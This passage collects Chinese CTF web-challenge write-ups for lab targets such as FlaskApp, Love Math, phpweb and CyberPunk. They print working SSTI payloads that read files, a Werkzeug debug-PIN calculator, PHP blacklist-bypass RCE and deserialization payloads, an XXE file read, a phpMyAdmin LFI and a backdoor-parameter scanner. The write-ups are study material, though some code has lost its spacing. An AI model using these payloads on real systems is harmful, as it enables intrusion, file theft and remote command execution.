可以看到它代表的数值是10000

它的utf-8编码是0xE1 0x8D 0xBC

我们将0x换成%,得到%E1%8D%BC,输入就可以购买flag了

也可以直接复制进去

其实输入也可以,不知道为什么

[GYCTF2020]FlaskApp

flask漏洞利用小结 | inhann’s blog

寻找易发生ssti的功能。
考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的

直接报错抛出debug信息,看来是开启了debug模式。

payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果

首先想办法把完整的app.py读出来。
参考[Templates Injections](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)的payload
方便阅读把它换行了

{% for x in ().__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}} {%endif%}{%endfor%}

修改成

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }} {% endif %}{% endfor %}

最后合并成一行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得到app.py的源码,审一下发现waf:

def waf(str): black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,&#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;] for x in black_list : if x in str.lower() : return 1

过滤了flag和os等函数和关键词。然后利用字符串拼接读找目录:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}} e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19 [&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39; this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

再读一下flag:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %} eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9 flag{d6cc3d62-b7b7-4f67-9a7c-8f6c1d0a24d0}

方法2-利用PIN码进行RCE#

在hint页面发现了pin

通过PIN码生成机制可知,需要获取如下信息:

首先,服务器运行flask所登录的用户名:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}} 或 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

得到

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh

应该是flaskweb

其次,获得mac地址:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

得到72:43:c6:42:00:c7转十进制,得到125635414589639

接着,获取机器id:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

得到

12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope8:rdma:/7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope

也就是cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7
计算pin代码如下:

importhashlibfromitertoolsimportchain probably_public_bits=['flaskweb',#服务器运行flask所登录的用户名'flask.app',#modname'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径]private_bits=['756572715513436',#当前网络的mac地址的十进制数'cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7'#机器的id]h=hashlib.md5()forbitinchain(probably_public_bits,private_bits):ifnotbit:continueifisinstance(bit,str):bit=bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name='__wzd'+h.hexdigest()[:20]num=NoneifnumisNone:h.update(b'pinsalt')num=('%09d'%int(h.hexdigest(),16))[:9]rv=NoneifrvisNone:forgroup_sizein5,4,3:iflen(num)%group_size==0:rv='-'.join(num[x:x+group_size].rjust(group_size,'0')forxinrange(0,len(num),group_size))breakelse:rv=numprint(rv)

得到298-674-256

输入pin即可进入交互式shell,执行命令即可得到flag:

os.popen("cat /this_is_the_flag.txt").read()

[CISCN 2019 初赛]Love Math

代码审计 能看出来是个构造rce的题,分析过滤后得出可以使用的:白名单中的数学函数,.,^等,同时长度限制在80个字符以内

先去传入一个参数,看一下是否能进行命令执行

payload:/?c=19-1

然后这里黑名单过滤了不少东西,常规的cat/flag都不能使用了,这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);

$ a=‘system’;
$a(‘cat/flag’);
这里使用的传参是

?c=($ _GET[a])( $_GET[b])&a=system&b=cat /flag
但是这里的_GET和a,b都不是白名单里面的,这里需要替换

替换之后

?c=($ _GET[pi])( $_GET[abs])&pi=system&abs=cat /flag
但是这里的_GET是无法进行直接替换,而且[]也被黑名单过滤了

这里就需要去了解一下他给的白名单里面的函数了

这里说一下需要用到的几个函数

这里先将_GET来进行转换的函数

hex2bin() 函数
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

hex2bin(5f 47 45 54) 就是 _GET,但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,这里会被

preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/’, $ content, $used_funcs);
来进行白名单的检测。

这里的hex2bin()函数可以通过base_convert()函数来进行转换

base_convert()函数能够在任意进制之间转换数字

这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin

hex2bin=base_convert(37907361743,10,36)

然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数

dechex(1598506324),1598506324转换为16进制就是5f 47 45 54最终的payload:

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat/flag

80个字符比较少,想办法构造$_GET[1]再传参getflag,但是其实发现构造这个好像更难。。。因为$_[]都不能用,同时GET必须是大写,很难直接构造。
一种payload是这样
$ pi=base_convert(37907361743,10,36)(dechex(1598506324))😭p i ) p i ( ( pi){pi}((pi)pi((pi){abs})&pi=system&abs=tac /flag
分析:

base_convert(37907361743,10,36)=>"hex2bin"dechex(1598506324)=>"5f474554"$pi=hex2bin("5f474554")=>$pi="_GET"//hex2bin将一串16进制数转换为二进制字符串($$pi){pi}(($$pi){abs})=>($_GET){pi}($_GET){abs}//{}可以代替[]

另一种payload是这样
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:

base_convert(696468,10,36)=>"exec"$pi(8768397090111664438,10,30)=>"getallheaders"exec(getallheaders(){1})//操作xx和yy,中间用逗号隔开,echo都能输出echoxx,yy

既然不能$_GET,那就header传

思路二

直接想办法catflag也是可以的

//exec('hex2bin(dechex(109270211257898))')=> exec('catf*')($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))//system('cat'.dechex(16)^asinh^pi)=> system('cat*')base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

思路三

前面都是利用白名单的数学函数将数字转成字符串,其实也可以
这是fuzz脚本

<?php$payload=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','bindec','ceil','cos','cosh','decbin','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];for($k=1;$k<=sizeof($payload);$k++){for($i=0;$i<9;$i++){for($j=0;$j<=9;$j++){$exp=$payload[$k]^$i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo"<br />";}}}

最后的payload:

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

[强网杯 2019]高明的黑客

我们应该找存在形如

$_GET['ganVMUq3d']=' ';eval($_GET['ganVMUq3d']??' ');$_GET['jVMcNhK_F']=' ';system($_GET['jVMcNhK_F']??' ');$_GET['cXjHClMPs']=' ';echo`{$_POST['cXjHClMPs']}`;

的结构,传入payload找flag。

步骤大致是字符匹配$_GET[$_POST[,尝试往匹配到的参数名传递echo,看看哪些参数可以接收到参数并打印出来。

importosimportreimporttimeimportthreadingimportrequestsfromtqdmimporttqdm thread_=threading.Semaphore(30)# 设置最大线程数 ,别设置太大,不然还是会崩的requests.adapters.DEFAULT_RETRIES=5#设置重连次数,防止线程数过高,断开连接session=requests.Session()session.keep_alive=False# 设置连接活跃状态为Falsebuu_url="http://35a34fe5-7916-4ebf-a7ff-bfd82fe9bd4a.node4.buuoj.cn:81"filePath=r"D:\Downloads\src"os.chdir(filePath)files=os.listdir(filePath)# 设置目标服务器的URL。#切换工作目录到指定路径,并获取该目录下的所有文件列表。flags=[]rrGET=re.compile(r"\$_GET\[\'(\w+)\'\]")# 匹配get参数rrPOST=re.compile(r"\$_POST\[\'(\w+)\'\]")# 匹配post参数defgetflag(file):print("[+]checking file:%s"%(file))thread_.acquire()url=buu_url+"/"+filewithopen(file,encoding='utf-8')asf:gets=list(rrGET.findall(f.read()))posts=list(rrPOST.findall(f.read()))forgingets:print("[++]checking %s"%(g))time.sleep(0.02)res=session.get(url+"?%s=%s"%(g,"echo ------"))if"------"inres.text:flag="fileName=%s, param=%s"%(file,g)flags.append(flag)forpinposts:print("[++]checking %s"%(p))res=session.post(url,data={p:"echo ------"})if"------"inres.text:flag="fileName=%s, param=%s"%(file,g)flags.append(flag)thread_.release()获取文件中的GET和POST参数。 对每个参数,构造请求并发送,检查响应中是否包含特定标识"------"。 如果找到匹配项,记录文件名和参数名到flags列表。if__name__=='__main__':start_time=time.time()thread_list=[]forfileintqdm(files):t=threading.Thread(target=getflag,args=(file,))thread_list.append(t)fortinthread_list:t.start()fortinthread_list:t.join()print(flags)end_time=time.time()print("[end]程序结束:用时(秒):"+str(end_time-start_time))初始化线程列表。 使用for循环遍历文件列表,为每个文件创建线程。 启动所有线程,并等待所有线程完成。 打印收集到的flags以及程序运行时间

[网鼎杯 2020 朱雀组]phpweb

网站一直刷新 ,看源码发现有两个隐藏属性

抓个包看看有两个参数

对两个参数与返回值进行分析,我们使用dat时一般是这种格式:date(“Y-m-d+h:i:s+a”),那我们可以猜测func参数接受的是一个函数,p参数接受的是函数执行的内容,我们可以输入参数md5和1进行测试,结果如下:

说明猜测是对的

那我们就尝试读取下当前的目录信息,payload:func=system&p=ls,显示hacking,应该是被过滤掉了,因此我们考虑读取下源码信息,payload:func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php,对获得的字母串进行base64解码,结果如下:

<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?> </p> <form id=form1 name=form1 action="index.php" method=post> <input type=hidden id=func name=func value='date'> <input type=hidden id=p name=p value='Y-m-d h:i:s a'> </body> </html>

__destruct()函数,此函数会在类被销毁时调用,那我们如果反序列化一个类,在类里的参数中写上我们要执行的代码和函数,这样的话就会直接调用gettime函数,而不会执行in_array($ func, $disable_fun),那我们就绕过了黑名单的判断,payload:func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:2:“ls”;s:4:“func”;s:6:“system”;} ,结果如下:

序列化代码:

<?phpclassTest{var $p="ls";var $func="system";}$test=new Test();$str=serialize($test);print($str);?>

成功绕过黑名单获取到当前的目录信息,那我们就修改下传递的参数,查找下flag的位置信息,payload:func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:18:“find+/±name+flag*”;s:4:“func”;s:6:“system”;} ,结果如下

获得flag文件位置信息后,修改传递的参数读取下flag值,payload:func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:22:“cat+/tmp/flagoefiu4r93”;s:4:“func”;s:6:“system”;} ,结果如下:

另外一种绕过黑名单的方式,第三步中的读取目录信息,可以修改payload:func=\system&p=ls,也可以获得目录信息,结果如下;

然后后面的就是查找flag文件的位置、读取flag信息,结果如下:

\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串

[BSidesCF 2019]Futurella

f12直接得到flag

将整个网页内容复制到记事本也能看见

[NCTF2019]Fake XML cookbook

f12发现这个

分析后

通过使用jQuery选择器,代码获取了输入框中的用户名和密码。

var data = “” + username + “” + password + “”;
2.这里使用输入的用户名和密码构造了一个简单的 XML 数据字符串。

$.ajax({
type: “POST”,
url: “doLogin.php”,
contentType: “application/xml;charset=utf-8”,
data: data,
dataType: “xml”,
anysc: false,
success: function (result) {
// 处理登录结果
},
error: function (XMLHttpRequest, textStatus, errorThrown) {
// 处理请求错误
}
});
3.通过 jQuery 的 AJAX 函数,向服务器端发送一个 POST 请求,将构造的 XML 数据发送到名为 “doLogin.php” 的服务端脚本。

success: function (result) {
var code = result.getElementsByTagName(“code”)[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName(“msg”)[0].childNodes[0].nodeValue;
if(code == “0”){
$ (“.msg”).text(msg + " login fail!“);
} else if(code == “1”){
$(”.msg").text(msg + " login success!“);
} else {
$(”.msg").text(“error:” + msg);
}
}
4.在成功回调函数中,根据返回的 XML 数据解析出登录结果的代码和消息,然后根据不同的结果更新页面上的提示信息

突然有个想法,上面是判断返回的code是0或1判断成功与否,说明一定会回显,如果拦截回显改了code是不是也能成功登录

抓包,试试,然后拦截

然后forward,等回显改code

放包,成功了,但是没有用
根据题目猜测是xxe

构造payload

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user><username>&admin;</username><password>123</password></user>

[BJDCTF2020]Mark loves cat

[BSidesCF 2019]Kookie

收集下信息(扫目录+检查HTTP报文+查看初始页面HTML代码)。

没有找到有用的信息,但是页面上明示了当前存在一个cookie账户其密码为monster。并且要求我们以admin的身份登录(盲猜登录后就会给flag或者进入下一个阶段的解题)。

登录并抓包,可以观察到设置了一个Cookie,内容为username=cookie的键值对

显然这里Cookie中的键值对的值作为了服务端在用户通过账户密码登录之后再次访问时验证身份的凭证,将其值改为admin也就标志我们成为了admin用户,接着再携带修改后的Cookie访问页面就能获得flag。

[WUSTCTF2020]朴实无华

[CISCN2019 华东南赛区]Web11

打开题目观察网页发现是用的smarty模板,同时我们的IP显示在了右上角

API Usage处直接在url处修改 发现回显在API URI中但是通过尝试发现没啥用

页面提示,应该是一个类似IP查询的网站,根据XFF(X-Forwarded-For)判断
使用BurpSuite抓取数据包:

添加请求头:X-Forwarded-For: 127.0.0.1,在Repeater中发送数据包,得到回显:

跟猜想的内容一致,很可能在此处存在注入

访问/index.php页面,能正常回显,判断其后端语言为PHP,而且其脚注中:

其为PHP模版引擎,基本语法:

{$ name}变量
{KaTeX parse error: Expected 'EOF', got '}' at position 8: name[2]}̲数组 {* 注释 *}注释…smarty.config}
返回当前目录名称:{ $smarty.current_dir}
测试模版语法能否执行:

X-Forwarded-For:{7*7}

成功执行,然后最主要的是嵌入php脚本
能否在模板中直接嵌入php脚本,取决于$php_handling的设置,基本语法:

{php}
include(“/path/to/display_weather.php”);
{/php}
但在测试时频频报错,后来查阅资料,全部的PHP条件表达式和函数都可在{if}中使用
首先查看phpinfo信息,使用BurpSuite抓取数据包,添加请求头信息:

X-Forwarded-For: {if phpinfo()}{/if}

查找flag所在位置:

{ifsystem('ls /')}{/if}

cat查看

[MRCTF2020]PYWebsite

叫我分析源码

发现一个验证后会进入flag.php

zhijie

直接进入flag提示要购买者和自己才可以拿flag
我们使用X-Forwarded-For: 127.0.0.1试试

[GWCTF 2019]我有一个数据库

f12什么都没有,信息收集扫一下目录 有robots.txt

dirsearch还扫描到存在phpmyadmin数据库管理页面,尝试访问

4.8.0 <= phpMyAdmin < 4.8.2 的 phpMyAdmin 4.8.x 中版本存在任意文件读取漏洞:[phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)](https://www.abelche.com/2019/11/16/CVE/phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)/)

漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

攻击者必须经过身份验证,以下情况除外:
$ cfg[‘AllowArbitraryServer’] = true:攻击者可以指定已经控制的任何主机,并在 phpMyAdmin 上执行任意代码;
$cfg[‘ServerDefault’] = 0:这绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
paylaod: /index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd

ctf flag一般都在根目录

[NPUCTF2020]ReadlezPHP

发现无法使用鼠标右键打开源代码,所以可以手动添加**view-source:**来显示页面源代码。
往下拉可以看到可疑的源代码,访问这个链接

发现一个可以文件

<?php #error_reporting(0); class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp; if(isset($_GET['source'])) { highlight_file(__FILE__); die(0); } @$ppp = unserialize($_GET["data"]); 对传入的data反序列化

依旧是代码审计,明显反序列化的题 试一下system ls

构造payload data=O:8:“HelloPhp”:2:{s:1:“a”;s:2:“ls”;s:1:“b”;s:6:“system”;} 没执行应该是被过滤了

过滤了system,exec,shell_exec函数,但是没过滤assert

assert是php之中的断言,如果传入的是字符串则会把它作为php代码执行,但为什么不直接用eval呢,是因为不能以变量函数的形式调用eval eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str,且必须以分号结尾,函数调用除外

eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型)。这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require

传一句话木马

蚁剑连过去什么都没有啊,估计是权限不够,如果是这种情况只能猜测flag会显示在phpinfo

O:8:“HelloPhp”:2:{s:1:“a”;s:16:“eval(phpinfo());”;s:1:“b”;s:6:“assert”;}

或者用call_user_func(phpinfo)

call_user_func把第一个参数当作回调函数使用。
回调函数:把一个函数当作作为外层函数的参数,相当于把函数嵌入到外层函数中

[WUSTCTF2020]颜值成绩查询

[Zer0pts2020]Can you guess it?

进去source看到源码

正则表达式分解

注释指明flag在config.php中,但是如果按照绕过hash_equals的思路来是行不通的,该函数并没有漏洞也没有使用错误

但是可以留意到显示源码的逻辑部分故作玄虚没有使用简洁的__FILE__而是采用basename函数截取$_SERVER['PHP_SELF'],本题的利用点也就在此处

$_SERVER['PHP_SELF']会获取我们当前的访问路径,并且PHP在根据URI解析到对应文件后会忽略掉URL中多余的部分,即若访问存在的index.php页面,如下两种UR均会访问到。

/index.php /index.php/dosent_exist.php

basename可以理解为对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录,即:

$var1="/config.php/test"basename($var1)=>test$var2="/config.php/%ff"basename($var2)=>config.php

接下来就显然了,通过构造URI让其包含config.php这个文件名再让basename函数截取出来,之后通过请求参数source就能显示config.php的源码,也就能见到flag

在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。

ascii值为47、128-255的字符均可以绕过basename()
其中47对应的符号为’/',在实际场景中没有利用价值
那么也就是说我们可以利用一部分不可见字符来绕过basename()
同时,在测试中也可以发现中文字符也是可以绕过basename()
例如**汉字、?(中文问号)、《、》、;**等中文字符

[watevrCTF-2019]Cookie Store

进去发现flag要100,我们只有50

明显钱不够,先买个1块钱的看下相关信息。发现cookie中的session明显为base64加密

解出来看看

hgistory显示的是购买的商品名称看看能不能在后面添加个flag cookie或替换 发现不行

直接改钱

[0CTF 2016]piapiapia

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

看源码提示用php伪协议

?file=php://filter/convert.base64-encode/resource=index.php,同样可以得到index.php,search.php,delete.php,config.php,confirm.php,change.php

index.php

search.php

<?php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); if(!$row) { echo 'error'; print_r($db->error); exit; } $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>

delete.php

<?php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单删除成功"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>

config.php

<?php ini_set("open_basedir", getcwd() . ":/etc:/tmp"); $DATABASE = array( "host" => "127.0.0.1", "username" => "root", "password" => "root", "dbname" =>"ctfusers" ); $db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

confirm.php

<?php require_once "config.php"; //var_dump($_POST); if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = $_POST["address"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if($fetch->num_rows>0) { $msg = $user_name."已提交订单"; }else{ $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)"; $re = $db->prepare($sql); $re->bind_param("sss", $user_name, $address, $phone); $re = $re->execute(); if(!$re) { echo 'error'; print_r($db->error); exit; } $msg = "订单提交成功"; } } else { $msg = "信息不全"; } ?>

change.php

<?php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单修改成功"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>

